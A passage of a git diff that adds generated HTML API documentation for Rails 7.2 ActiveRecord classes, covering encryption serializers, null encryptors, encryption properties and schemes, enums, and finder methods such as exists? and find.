+        @payload = payload
+        @headers = Properties.new(headers)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + ==(other_message) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/message.rb, line 21
+      def ==(other_message)
+        payload == other_message.payload && headers == other_message.headers
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/MessagePackMessageSerializer.html b/src/7.2/classes/ActiveRecord/Encryption/MessagePackMessageSerializer.html new file mode 100644 index 0000000000..02bf68eb0e --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/MessagePackMessageSerializer.html @@ -0,0 +1,209 @@ +--- +title: ActiveRecord::Encryption::MessagePackMessageSerializer +layout: default +--- +
+ +
+
+ +
+ +

A message serializer that serializes Messages with MessagePack.

+ +

The message is converted to a hash with this structure:

+ +
{
+  p: <payload>,
+  h: {
+    header1: value1,
+    header2: value2,
+    ...
+  }
+}
+
+ +

Then it is converted to the MessagePack format.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + binary?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/message_pack_message_serializer.rb, line 34
+      def binary?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dump(message) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/message_pack_message_serializer.rb, line 22
+      def dump(message)
+        raise Errors::ForbiddenClass unless message.is_a?(Message)
+        ActiveSupport::MessagePack.dump(message_to_hash(message))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + load(serialized_content) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/message_pack_message_serializer.rb, line 27
+      def load(serialized_content)
+        data = ActiveSupport::MessagePack.load(serialized_content)
+        hash_to_message(data, 1)
+      rescue RuntimeError
+        raise Errors::Decryption
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/MessageSerializer.html b/src/7.2/classes/ActiveRecord/Encryption/MessageSerializer.html new file mode 100644 index 0000000000..ab984f3cbe --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/MessageSerializer.html @@ -0,0 +1,209 @@ +--- +title: ActiveRecord::Encryption::MessageSerializer +layout: default +--- +
+ +
+
+ +
+ +

A message serializer that serializes Messages with JSON.

+ +

The generated structure is pretty simple:

+ +
{
+  p: <payload>,
+  h: {
+    header1: value1,
+    header2: value2,
+    ...
+  }
+}
+
+ +

Both the payload and the header values are encoded with Base64 to prevent JSON parsing errors and encoding issues when storing the resulting serialized data.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + binary?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/message_serializer.rb, line 36
+      def binary?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + dump(message) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/message_serializer.rb, line 31
+      def dump(message)
+        raise ActiveRecord::Encryption::Errors::ForbiddenClass unless message.is_a?(ActiveRecord::Encryption::Message)
+        JSON.dump message_to_json(message)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + load(serialized_content) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/message_serializer.rb, line 24
+      def load(serialized_content)
+        data = JSON.parse(serialized_content)
+        parse_message(data, 1)
+      rescue JSON::ParserError
+        raise ActiveRecord::Encryption::Errors::Encoding
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/NullEncryptor.html b/src/7.2/classes/ActiveRecord/Encryption/NullEncryptor.html new file mode 100644 index 0000000000..85d1f02d59 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/NullEncryptor.html @@ -0,0 +1,230 @@ +--- +title: ActiveRecord::Encryption::NullEncryptor +layout: default +--- +
+ +
+
+ +
+ +

An encryptor that won’t decrypt or encrypt. It will just return the passed values

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + binary?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/null_encryptor.rb, line 20
+      def binary?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + decrypt(encrypted_text, key_provider: nil, cipher_options: {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/null_encryptor.rb, line 12
+      def decrypt(encrypted_text, key_provider: nil, cipher_options: {})
+        encrypted_text
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + encrypt(clean_text, key_provider: nil, cipher_options: {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/null_encryptor.rb, line 8
+      def encrypt(clean_text, key_provider: nil, cipher_options: {})
+        clean_text
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + encrypted?(text) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/null_encryptor.rb, line 16
+      def encrypted?(text)
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/Properties.html b/src/7.2/classes/ActiveRecord/Encryption/Properties.html new file mode 100644 index 0000000000..ffe502d489 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/Properties.html @@ -0,0 +1,320 @@ +--- +title: ActiveRecord::Encryption::Properties +layout: default +--- +
+ +
+
+ +
+ +

This is a wrapper for a hash of encryption properties. It is used by Key (public tags) and Message (headers).

+ +

Since properties are serialized in messages, it is important for storage efficiency to keep their keys as short as possible. It defines accessors for common properties that will keep these keys very short while exposing a readable name.

+ +
message.headers.encrypted_data_key # instead of message.headers[:k]
+
+ +

See Properties::DEFAULT_PROPERTIES, Key, Message

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + +
ALLOWED_VALUE_CLASSES=[String, ActiveRecord::Encryption::Message, Numeric, Integer, Float, BigDecimal, TrueClass, FalseClass, Symbol, NilClass]
DEFAULT_PROPERTIES={ +encrypted_data_key: "k", +encrypted_data_key_id: "i", +compressed: "c", +iv: "iv", +auth_tag: "at", +encoding: "e" +}
 

For each entry it generates an accessor exposing the full name

+ + + + + + +

Class Public methods

+ +
+

+ + new(initial_properties = {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/properties.rb, line 42
+      def initialize(initial_properties = {})
+        @data = {}
+        add(initial_properties)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + []=(key, value) + +

+ + +
+

Set a value for a given key

+ +

It will raise an EncryptedContentIntegrity if the value exists

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/properties.rb, line 50
+      def []=(key, value)
+        raise Errors::EncryptedContentIntegrity, "Properties can't be overridden: #{key}" if key?(key)
+        validate_value_type(value)
+        data[key] = value
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + add(other_properties) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/properties.rb, line 62
+      def add(other_properties)
+        other_properties.each do |key, value|
+          self[key.to_sym] = value
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_h() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/properties.rb, line 68
+      def to_h
+        data
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validate_value_type(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/properties.rb, line 56
+      def validate_value_type(value)
+        unless ALLOWED_VALUE_CLASSES.include?(value.class) || ALLOWED_VALUE_CLASSES.any? { |klass| value.is_a?(klass) }
+          raise ActiveRecord::Encryption::Errors::ForbiddenClass, "Can't store a #{value.class}, only properties of type #{ALLOWED_VALUE_CLASSES.inspect} are allowed"
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/ReadOnlyNullEncryptor.html b/src/7.2/classes/ActiveRecord/Encryption/ReadOnlyNullEncryptor.html new file mode 100644 index 0000000000..a291db3f56 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/ReadOnlyNullEncryptor.html @@ -0,0 +1,232 @@ +--- +title: ActiveRecord::Encryption::ReadOnlyNullEncryptor +layout: default +--- +
+ +
+
+ +
+ +

A NullEncryptor that will raise an error when trying to encrypt data

+ +

This is useful when you want to reveal ciphertexts for debugging purposes and you want to make sure you won’t overwrite any encryptable attribute with the wrong content.

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + binary?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/read_only_null_encryptor.rb, line 23
+      def binary?
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + decrypt(encrypted_text, key_provider: nil, cipher_options: {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/read_only_null_encryptor.rb, line 15
+      def decrypt(encrypted_text, key_provider: nil, cipher_options: {})
+        encrypted_text
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + encrypt(clean_text, key_provider: nil, cipher_options: {}) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/read_only_null_encryptor.rb, line 11
+      def encrypt(clean_text, key_provider: nil, cipher_options: {})
+        raise Errors::Encryption, "This encryptor is read-only"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + encrypted?(text) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/read_only_null_encryptor.rb, line 19
+      def encrypted?(text)
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Encryption/Scheme.html b/src/7.2/classes/ActiveRecord/Encryption/Scheme.html new file mode 100644 index 0000000000..bb8cba72a0 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Encryption/Scheme.html @@ -0,0 +1,544 @@ +--- +title: ActiveRecord::Encryption::Scheme +layout: default +--- +
+ +
+
+ +
+ +

A container of attribute encryption options.

+ +

It validates and serves attribute encryption options.

+ +

See EncryptedAttributeType, Context

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [RW] + previous_schemes
+ + + + +

Class Public methods

+ +
+

+ + new(key_provider: nil, key: nil, deterministic: nil, support_unencrypted_data: nil, downcase: nil, ignore_case: nil, previous_schemes: nil, **context_properties) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/scheme.rb, line 13
+      def initialize(key_provider: nil, key: nil, deterministic: nil, support_unencrypted_data: nil, downcase: nil, ignore_case: nil,
+                     previous_schemes: nil, **context_properties)
+        # Initializing all attributes to +nil+ as we want to allow a "not set" semantics so that we
+        # can merge schemes without overriding values with defaults. See +#merge+
+
+        @key_provider_param = key_provider
+        @key = key
+        @deterministic = deterministic
+        @support_unencrypted_data = support_unencrypted_data
+        @downcase = downcase || ignore_case
+        @ignore_case = ignore_case
+        @previous_schemes_param = previous_schemes
+        @previous_schemes = Array.wrap(previous_schemes)
+        @context_properties = context_properties
+
+        validate_config!
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + compatible_with?(other_scheme) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/scheme.rb, line 73
+      def compatible_with?(other_scheme)
+        deterministic? == other_scheme.deterministic?
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + deterministic?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/scheme.rb, line 39
+      def deterministic?
+        !!@deterministic
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + downcase?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/scheme.rb, line 35
+      def downcase?
+        @downcase
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fixed?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/scheme.rb, line 47
+      def fixed?
+        # by default deterministic encryption is fixed
+        @fixed ||= @deterministic && (!@deterministic.is_a?(Hash) || @deterministic[:fixed])
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + ignore_case?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/scheme.rb, line 31
+      def ignore_case?
+        @ignore_case
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + key_provider() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/scheme.rb, line 52
+      def key_provider
+        @key_provider_param || key_provider_from_key || deterministic_key_provider || default_key_provider
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + merge(other_scheme) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/scheme.rb, line 56
+      def merge(other_scheme)
+        self.class.new(**to_h.merge(other_scheme.to_h))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + support_unencrypted_data?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/scheme.rb, line 43
+      def support_unencrypted_data?
+        @support_unencrypted_data.nil? ? ActiveRecord::Encryption.config.support_unencrypted_data : @support_unencrypted_data
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_h() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/scheme.rb, line 60
+      def to_h
+        { key_provider: @key_provider_param, deterministic: @deterministic, downcase: @downcase, ignore_case: @ignore_case,
+          previous_schemes: @previous_schemes_param, **@context_properties }.compact
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + with_context(&block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/encryption/scheme.rb, line 65
+      def with_context(&block)
+        if @context_properties.present?
+          ActiveRecord::Encryption.with_encryption_context(**@context_properties, &block)
+        else
+          block.call
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Enum.html b/src/7.2/classes/ActiveRecord/Enum.html new file mode 100644 index 0000000000..0a60fcc38a --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Enum.html @@ -0,0 +1,277 @@ +--- +title: ActiveRecord::Enum +layout: default +--- +
+ +
+
+ +
+ +

Declare an enum attribute where the values map to integers in the database, but can be queried by name. Example:

+ +
class Conversation < ActiveRecord::Base
+  enum :status, [ :active, :archived ]
+end
+
+# conversation.update! status: 0
+conversation.active!
+conversation.active? # => true
+conversation.status  # => "active"
+
+# conversation.update! status: 1
+conversation.archived!
+conversation.archived? # => true
+conversation.status    # => "archived"
+
+# conversation.status = 1
+conversation.status = "archived"
+
+conversation.status = nil
+conversation.status.nil? # => true
+conversation.status      # => nil
+
+ +

Scopes based on the allowed values of the enum field will be provided as well. With the above example:

+ +
Conversation.active
+Conversation.not_active
+Conversation.archived
+Conversation.not_archived
+
+ +

Of course, you can also query them directly if the scopes don’t fit your needs:

+ +
Conversation.where(status: [:active, :archived])
+Conversation.where.not(status: :active)
+
+ +

Defining scopes can be disabled by setting :scopes to false.

+ +
class Conversation < ActiveRecord::Base
+  enum :status, [ :active, :archived ], scopes: false
+end
+
+ +

You can set the default enum value by setting :default, like:

+ +
class Conversation < ActiveRecord::Base
+  enum :status, [ :active, :archived ], default: :active
+end
+
+conversation = Conversation.new
+conversation.status # => "active"
+
+ +

It’s possible to explicitly map the relation between attribute and database integer with a hash:

+ +
class Conversation < ActiveRecord::Base
+  enum :status, active: 0, archived: 1
+end
+
+ +

Finally it’s also possible to use a string column to persist the enumerated value. Note that this will likely lead to slower database queries:

+ +
class Conversation < ActiveRecord::Base
+  enum :status, active: "active", archived: "archived"
+end
+
+ +

Note that when an array is used, the implicit mapping from the values to database integers is derived from the order the values appear in the array. In the example, :active is mapped to 0 as it’s the first element, and :archived is mapped to 1. In general, the i-th element is mapped to i-1 in the database.

+ +

Therefore, once a value is added to the enum array, its position in the array must be maintained, and new values should only be added to the end of the array. To remove unused values, the explicit hash syntax should be used.

+ +

In rare circumstances you might need to access the mapping directly. The mappings are exposed through a class method with the pluralized attribute name, which return the mapping in a ActiveSupport::HashWithIndifferentAccess :

+ +
Conversation.statuses[:active]    # => 0
+Conversation.statuses["archived"] # => 1
+
+ +

Use that class method when you need to know the ordinal value of an enum. For example, you can use that when manually building SQL strings:

+ +
Conversation.where("status <> ?", Conversation.statuses[:archived])
+
+ +

You can use the :prefix or :suffix options when you need to define multiple enums with same values. If the passed value is true, the methods are prefixed/suffixed with the name of the enum. It is also possible to supply a custom value:

+ +
class Conversation < ActiveRecord::Base
+  enum :status, [ :active, :archived ], suffix: true
+  enum :comments_status, [ :active, :inactive ], prefix: :comments
+end
+
+ +

With the above example, the bang and predicate methods along with the associated scopes are now prefixed and/or suffixed accordingly:

+ +
conversation.active_status!
+conversation.archived_status? # => false
+
+conversation.comments_inactive!
+conversation.comments_active? # => false
+
+ +

If you want to disable the auto-generated methods on the model, you can do so by setting the :instance_methods option to false:

+ +
class Conversation < ActiveRecord::Base
+  enum :status, [ :active, :archived ], instance_methods: false
+end
+
+ +

If you want the enum value to be validated before saving, use the option :validate:

+ +
class Conversation < ActiveRecord::Base
+  enum :status, [ :active, :archived ], validate: true
+end
+
+conversation = Conversation.new
+
+conversation.status = :unknown
+conversation.valid? # => false
+
+conversation.status = nil
+conversation.valid? # => false
+
+conversation.status = :active
+conversation.valid? # => true
+
+ +

It is also possible to pass additional validation options:

+ +
class Conversation < ActiveRecord::Base
+  enum :status, [ :active, :archived ], validate: { allow_nil: true }
+end
+
+conversation = Conversation.new
+
+conversation.status = :unknown
+conversation.valid? # => false
+
+conversation.status = nil
+conversation.valid? # => true
+
+conversation.status = :active
+conversation.valid? # => true
+
+ +

Otherwise ArgumentError will raise:

+ +
class Conversation < ActiveRecord::Base
+  enum :status, [ :active, :archived ]
+end
+
+conversation = Conversation.new
+
+conversation.status = :unknown # 'unknown' is not a valid status (ArgumentError)
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + enum(name = nil, values = nil, **options) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/enum.rb, line 216
+    def enum(name = nil, values = nil, **options)
+      if name
+        values, options = options, {} unless values
+        return _enum(name, values, **options)
+      end
+
+      definitions = options.slice!(:_prefix, :_suffix, :_scopes, :_default, :_instance_methods)
+      options.transform_keys! { |key| :"#{key[1..-1]}" }
+
+      definitions.each { |name, values| _enum(name, values, **options) }
+
+      ActiveRecord.deprecator.warn(<<~MSG)
+        Defining enums with keyword arguments is deprecated and will be removed
+        in Rails 8.0. Positional arguments should be used instead:
+
+        #{definitions.map { |name, values| "enum :#{name}, #{values}" }.join("\n")}
+      MSG
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/EnvironmentMismatchError.html b/src/7.2/classes/ActiveRecord/EnvironmentMismatchError.html new file mode 100644 index 0000000000..8cce0280b0 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/EnvironmentMismatchError.html @@ -0,0 +1,115 @@ +--- +title: ActiveRecord::EnvironmentMismatchError +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(current: nil, stored: nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/migration.rb, line 220
+    def initialize(current: nil, stored: nil)
+      msg = +"You are attempting to modify a database that was last run in `#{ stored }` environment.\n"
+      msg << "You are running in `#{ current }` environment. "
+      msg << "If you are sure you want to continue, first set the environment using:\n\n"
+      msg << "        bin/rails db:environment:set"
+      if defined?(Rails.env)
+        super("#{msg} RAILS_ENV=#{::Rails.env}\n\n")
+      else
+        super("#{msg}\n\n")
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ExclusiveConnectionTimeoutError.html b/src/7.2/classes/ActiveRecord/ExclusiveConnectionTimeoutError.html new file mode 100644 index 0000000000..45bfd90589 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ExclusiveConnectionTimeoutError.html @@ -0,0 +1,66 @@ +--- +title: ActiveRecord::ExclusiveConnectionTimeoutError +layout: default +--- +
+ +
+
+ +
+ +

Raised when a pool was unable to get ahold of all its connections to perform a β€œgroup” action such as ActiveRecord::Base.connection_pool.disconnect! or ActiveRecord::Base.connection_handler.clear_reloadable_connections!.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Explain.html b/src/7.2/classes/ActiveRecord/Explain.html new file mode 100644 index 0000000000..0246f065e0 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Explain.html @@ -0,0 +1,54 @@ +--- +title: ActiveRecord::Explain +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/FinderMethods.html b/src/7.2/classes/ActiveRecord/FinderMethods.html new file mode 100644 index 0000000000..898d311711 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/FinderMethods.html @@ -0,0 +1,1404 @@ +--- +title: ActiveRecord::FinderMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + +
ONE_AS_ONE="1 AS one"
+ + + + + + + +

Instance Public methods

+ +
+

+ + exists?(conditions = :none) + +

+ + +
+

Returns true if a record exists in the table that matches the id or conditions given, or false otherwise. The argument can take six forms:

+
  • +

    Integer - Finds the record with this primary key.

    +
  • +

    String - Finds the record with a primary key corresponding to this string (such as '5').

    +
  • +

    Array - Finds the record that matches these where-style conditions (such as ['name LIKE ?', "%#{query}%"]).

    +
  • +

    Hash - Finds the record that matches these where-style conditions (such as {name: 'David'}).

    +
  • +

    false - Returns always false.

    +
  • +

    No args - Returns false if the relation is empty, true otherwise.

    +
+ +

For more information about specifying conditions as a hash or array, see the Conditions section in the introduction to ActiveRecord::Base.

+ +

Note: You can’t pass in a condition as a string (like name = 'Jamie'), since it would be sanitized and then queried against the primary key column, like id = 'name = \'Jamie\''.

+ +
Person.exists?(5)
+Person.exists?('5')
+Person.exists?(['name LIKE ?', "%#{query}%"])
+Person.exists?(id: [1, 4, 8])
+Person.exists?(name: 'David')
+Person.exists?(false)
+Person.exists?
+Person.where(name: 'Spartacus', rating: 4).exists?
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/finder_methods.rb, line 357
+    def exists?(conditions = :none)
+      return false if @none
+
+      if Base === conditions
+        raise ArgumentError, <<-MSG.squish
+          You are passing an instance of ActiveRecord::Base to `exists?`.
+          Please pass the id of the object by calling `.id`.
+        MSG
+      end
+
+      return false if !conditions || limit_value == 0
+
+      if eager_loading?
+        relation = apply_join_dependency(eager_loading: false)
+        return relation.exists?(conditions)
+      end
+
+      relation = construct_relation_for_exists(conditions)
+      return false if relation.where_clause.contradiction?
+
+      skip_query_cache_if_necessary do
+        with_connection do |c|
+          c.select_rows(relation.arel, "#{name} Exists?").size == 1
+        end
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fifth() + +

+ + +
+

Find the fifth record. If no order is defined it will order by primary key.

+ +
Person.fifth # returns the fifth object fetched by SELECT * FROM people
+Person.offset(3).fifth # returns the fifth object from OFFSET 3 (which is OFFSET 7)
+Person.where(["user_name = :u", { u: user_name }]).fifth
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/finder_methods.rb, line 271
+    def fifth
+      find_nth 4
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fifth!() + +

+ + +
+

Same as fifth but raises ActiveRecord::RecordNotFound if no record is found.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/finder_methods.rb, line 277
+    def fifth!
+      fifth || raise_record_not_found_exception!
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + find(*args) + +

+ + +
+

Find by id - This can either be a specific id (ID), a list of ids (ID, ID, ID), or an array of ids ([ID, ID, ID]). β€˜ID` refers to an β€œidentifier”. For models with a single-column primary key, `ID` will be a single value, and for models with a composite primary key, it will be an array of values. If one or more records cannot be found for the requested ids, then ActiveRecord::RecordNotFound will be raised. If the primary key is an integer, find by id coerces its arguments by using to_i.

+ +
Person.find(1)          # returns the object for ID = 1
+Person.find("1")        # returns the object for ID = 1
+Person.find("31-sarah") # returns the object for ID = 31
+Person.find(1, 2, 6)    # returns an array for objects with IDs in (1, 2, 6)
+Person.find([7, 17])    # returns an array for objects with IDs in (7, 17), or with composite primary key [7, 17]
+Person.find([1])        # returns an array for the object with ID = 1
+Person.where("administrator = 1").order("created_on DESC").find(1)
+
+ +

Find a record for a composite primary key model

+ +
TravelRoute.primary_key = [:origin, :destination]
+
+TravelRoute.find(["Ottawa", "London"])
+=> #<TravelRoute origin: "Ottawa", destination: "London">
+
+TravelRoute.find([["Paris", "Montreal"]])
+=> [#<TravelRoute origin: "Paris", destination: "Montreal">]
+
+TravelRoute.find(["New York", "Las Vegas"], ["New York", "Portland"])
+=> [
+     #<TravelRoute origin: "New York", destination: "Las Vegas">,
+     #<TravelRoute origin: "New York", destination: "Portland">
+   ]
+
+TravelRoute.find([["Berlin", "London"], ["Barcelona", "Lisbon"]])
+=> [
+     #<TravelRoute origin: "Berlin", destination: "London">,
+     #<TravelRoute origin: "Barcelona", destination: "Lisbon">
+   ]
+
+ +

NOTE: The returned records are in the same order as the ids you provide. If you want the results to be sorted by database, you can use ActiveRecord::QueryMethods#where method and provide an explicit ActiveRecord::QueryMethods#order option. But ActiveRecord::QueryMethods#where method doesn’t raise ActiveRecord::RecordNotFound.

+ +

Find with lock

+ +

Example for find with a lock: Imagine two concurrent transactions: each will read person.visits == 2, add 1 to it, and save, resulting in two saves of person.visits = 3. By locking the row, the second transaction has to wait until the first is finished; we get the expected person.visits == 4.

+ +
Person.transaction do
+  person = Person.lock(true).find(1)
+  person.visits += 1
+  person.save!
+end
+
+ +

Variations of find

+ +
Person.where(name: 'Spartacus', rating: 4)
+# returns a chainable list (which can be empty).
+
+Person.find_by(name: 'Spartacus', rating: 4)
+# returns the first item or nil.
+
+Person.find_or_initialize_by(name: 'Spartacus', rating: 4)
+# returns the first item or returns a new instance (requires you call .save to persist against the database).
+
+Person.find_or_create_by(name: 'Spartacus', rating: 4)
+# returns the first item or creates it and returns it.
+
+ +

Alternatives for find

+ +
Person.where(name: 'Spartacus', rating: 4).exists?(conditions = :none)
+# returns a boolean indicating if any record with the given conditions exist.
+
+Person.where(name: 'Spartacus', rating: 4).select("field1, field2, field3")
+# returns a chainable list of instances with only the mentioned fields.
+
+Person.where(name: 'Spartacus', rating: 4).ids
+# returns an Array of ids.
+
+Person.where(name: 'Spartacus', rating: 4).pluck(:field1, :field2)
+# returns an Array of the required fields.
+
+ +

Edge Cases

+ +
Person.find(37)          # raises ActiveRecord::RecordNotFound exception if the record with the given ID does not exist.
+Person.find([37])        # raises ActiveRecord::RecordNotFound exception if the record with the given ID in the input array does not exist.
+Person.find(nil)         # raises ActiveRecord::RecordNotFound exception if the argument is nil.
+Person.find([])          # returns an empty array if the argument is an empty array.
+Person.find              # raises ActiveRecord::RecordNotFound exception if the argument is not provided.
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/relation/finder_methods.rb, line 98
+    def find(*args)
+      return super if block_given?
+      find_with_ids(*args)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + find_by(arg, *args) + +

+ + +
+

Finds the first record matching the specified conditions. There is no implied ordering so if order matters, you should specify it yourself.

+ +

